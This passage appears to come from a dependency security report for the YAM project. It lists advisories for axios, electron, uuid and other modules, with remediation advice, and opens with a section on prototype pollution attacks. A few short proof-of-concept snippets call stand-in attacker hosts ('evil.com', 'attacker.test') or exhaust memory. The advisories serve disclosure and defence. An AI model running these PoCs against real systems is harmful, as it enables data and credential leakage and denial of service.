Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.
Note:
This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Input Validation in file system.
Remediation
Upgrade electron to version 19.1.5, 21.2.2 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › uuid@8.3.2
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Race Condition via a crafted Chrome Extension. An attacker who convinced a user to install a malicious extension can inject scripts or HTML into a privileged page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the xmlTextReader module. An attacker can cause denial of service by processing crafted XML documents with DTD validation and XInclude expansion enabled.
Remediation
Upgrade electron to version 27.3.5, 28.2.6 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: glob@8.1.0 and @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › glob@8.1.0 › inflight@1.0.6
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › node-ipc@10.1.0 › event-pubsub@5.0.3 › copyfiles@2.4.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity when the embeddedAsarIntegrityValidation and onlyLoadAppFromAsar fuses are enabled.
An attacker can edit files inside the .app bundle on macOS, which these fuses are supposed to protect against, by gaining write access to the filesystem from which the app is launched.
Note
This is only exploitable if your app is launched from a filesystem the attacker has write access to and is specific to macOS, as these fuses are only supported on macOS.
Remediation
Upgrade electron to version 22.3.24, 24.8.3, 25.8.1, 26.2.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.
Note:
This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the webContents.executeJavaScript function. An attacker can manipulate the main-process promise to resolve with attacker-controlled data by spoofing reply messages on the internal IPC channel.
Note:
This is only exploitable if service workers are registered and the result of webContents.executeJavaScript() or webFrameMain.executeJavaScript() is used in security-sensitive decisions.
Workaround
This vulnerability can be mitigated by not trusting the return value of webContents.executeJavaScript() for security decisions and using dedicated, validated IPC channels for security-relevant communication with renderers.
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.1, 41.0.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access Control Bypass due to insufficient policy enforcement in Cookies.
Remediation
Upgrade electron to version 18.3.9, 19.0.12 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to HTTP Response Splitting via the protocol.handle, protocol.registerSchemesAsPrivileged, or webRequest.onHeadersReceived functions. An attacker can manipulate HTTP response headers by injecting attacker-controlled input into a response header name or value, potentially allowing the setting of arbitrary headers that affect cookies, content security policy, or cross-origin access controls.
Note:
This is only exploitable if untrusted external input is reflected into response headers.
Workaround
This vulnerability can be mitigated by validating or sanitizing any untrusted input before including it in a response header name or value.
Remediation
Upgrade electron to version 38.8.6, 39.8.3, 40.8.3, 41.0.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Protection Mechanism Failure in File System API.
Remediation
Upgrade electron to version 17.4.9, 18.3.6, 19.0.7 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Information Exposure in that it reveals hashed credentials when the target of a redirect is an SMB URL, such as one using the file:// scheme.
NOTE: This vulnerability is only exploitable on Windows.
Workaround
This vulnerability can be worked around by preventing redirects to file:// URLs in the WebContents.on('will-redirect') event.
Remediation
Upgrade electron to version 18.3.7, 19.0.11, 20.0.1 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read in the second-instance event handler when parsing a crafted second-instance message via the app.requestSingleInstanceLock process. An attacker can access sensitive memory contents or cause application instability by sending a specially crafted message from another process running as the same user.
Note:
This is only exploitable if the application calls app.requestSingleInstanceLock() and is running on macOS or Linux as the same user.
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.1, 41.0.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') in the app.setAsDefaultProtocolClient function. An attacker can gain the ability to write to arbitrary registry subkeys by supplying a crafted protocol name derived from untrusted input. This may allow hijacking of existing protocol handlers.
Note:
This is only exploitable if the protocol name passed to app.setAsDefaultProtocolClient is not hardcoded and is instead derived from external or untrusted sources.
Workaround
This vulnerability can be mitigated by validating the protocol name matches the regular expression /^[a-zA-Z][a-zA-Z0-9+.-]*$/ before passing it to app.setAsDefaultProtocolClient().
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.1, 41.0.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the download save dialog callback process. An attacker can cause a crash or memory corruption by triggering session destruction while a native save-file dialog is open and then dismissing the dialog.
Note:
This is only exploitable if the application allows downloads and programmatically destroys sessions at runtime.
Workaround
This vulnerability can be mitigated by avoiding session destruction while a download save dialog may be open and by canceling pending downloads before tearing down sessions.
Remediation
Upgrade electron to version 38.8.6, 39.8.0, 40.7.0, 41.0.0-beta.7 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Buffer Overflow when changing the PDF layout confuses AddFindResult() and causes it to fail a DCHECK()
Remediation
Upgrade electron to version 18.3.8, 19.0.13 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Inappropriate implementation in WebGL.
Remediation
Upgrade electron to version 16.2.5, 17.4.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow. The nativeImage.createFromPath or nativeImage.createFromBuffer APIs in Electron, which make use of Chromium's JPEGCodec::Decode, are vulnerable to a heap-based buffer overflow. An attacker can execute arbitrary code or cause a crash by supplying specially crafted image data.
Remediation
Upgrade electron to version 28.3.2, 29.3.3, 30.0.3 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7 › @electron/get@1.14.1 › got@9.6.0
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got to version 11.8.5, 12.1.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Input Validation.
in Internals, due to not treating % as a special character in pathname resolution.
NOTE: This vulnerability is only exploitable when running on Windows.
Remediation
Upgrade electron to version 18.3.8, 19.0.13 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Information Exposure in Background Fetch, by exposing URLs during cross-origin redirects.
Remediation
Upgrade electron to version 18.3.9, 19.0.12 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion via a crafted HTML page in the V8 engine.
**Note: ** This is only exploitable if the user navigates to or is redirected to the malicious page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Arbitrary Code Injection via modification of the resources folder when the embeddedAsarIntegrityValidation and onlyLoadAppFromAsar fuses are enabled. An attacker can execute unauthorized code by altering files within the application directory, bypassing ASAR integrity checks.
Note: This is only exploitable if the application is launched from a filesystem to which the attacker has write access.
Remediation
Upgrade electron to version 35.7.5, 36.8.1, 37.3.1, 38.0.0-beta.6 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Information Exposure via the Loader component. An attacker can leak sensitive cross-origin data by crafting a malicious HTML page.
Remediation
Upgrade electron to version 36.3.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Origin Validation Error in the session.setPermissionRequestHandler function. An attacker can gain unauthorized access to permissions such as fullscreen, pointerLock, keyboardLock, openExternal, or media by embedding malicious iframes that exploit the incorrect origin parameter passed to the handler. This may result in third-party content being granted permissions intended only for trusted origins.
Note:
This is only exploitable if the application grants permissions based on the origin parameter or webContents.getURL() rather than details.requestingUrl.
Workaround
This vulnerability can be mitigated by inspecting details.requestingUrl instead of the origin parameter or webContents.getURL() in the setPermissionRequestHandler when deciding whether to grant permissions.
Remediation
Upgrade electron to version 38.8.6, 39.8.1, 40.8.1, 41.0.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Authentication by allowing the creation of cookies that have an empty name field and whose value impersonates a cookie name prefix.
Note:
Upgrading to the fixed version will delete any previously stored cookies that meet the conditions by causing them to fail their IsCanonical() check.
Remediation
Upgrade electron to version 18.3.11 or higher.
References
low severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the clipboard.readImage() function when processing malformed clipboard image data. An attacker can cause the application to crash by placing invalid image data on the system clipboard and triggering the function.
Remediation
Upgrade electron to version 39.8.5, 40.8.5, 41.1.0, 42.0.0-alpha.5 or higher.
References
low severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Exposure of Resource to Wrong Sphere via the window.open() function. An attacker can gain access to or manipulate the browsing context of a window opened by a different renderer by using the same target name, potentially inheriting elevated permissions such as privileged preload scripts or relaxed security settings. This is only exploitable if multiple top-level windows with differing trust levels are opened and setWindowOpenHandler is used to grant elevated webPreferences to child windows.
Workaround
This vulnerability can be mitigated by denying window.open() in renderers that load untrusted content by returning { action: 'deny' } from setWindowOpenHandler and avoiding granting child windows more permissive webPreferences than their opener.
Remediation
Upgrade electron to version 39.8.5, 40.8.5, 41.1.0, 42.0.0-alpha.5 or higher.
References
low severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Missing Authorization in the select-usb-device event callback, which did not validate the chosen device ID against the filtered list presented to the handler. An attacker can gain unauthorized access to USB devices that do not match the intended filters or are listed in exclusion filters by influencing the handler to select a device ID outside the allowed set.
Note:
This is only exploitable if the application implements unusual device-selection logic that can be manipulated.
Remediation
Upgrade electron to version 38.8.6, 39.8.0, 40.7.0, 41.0.0-beta.8 or higher.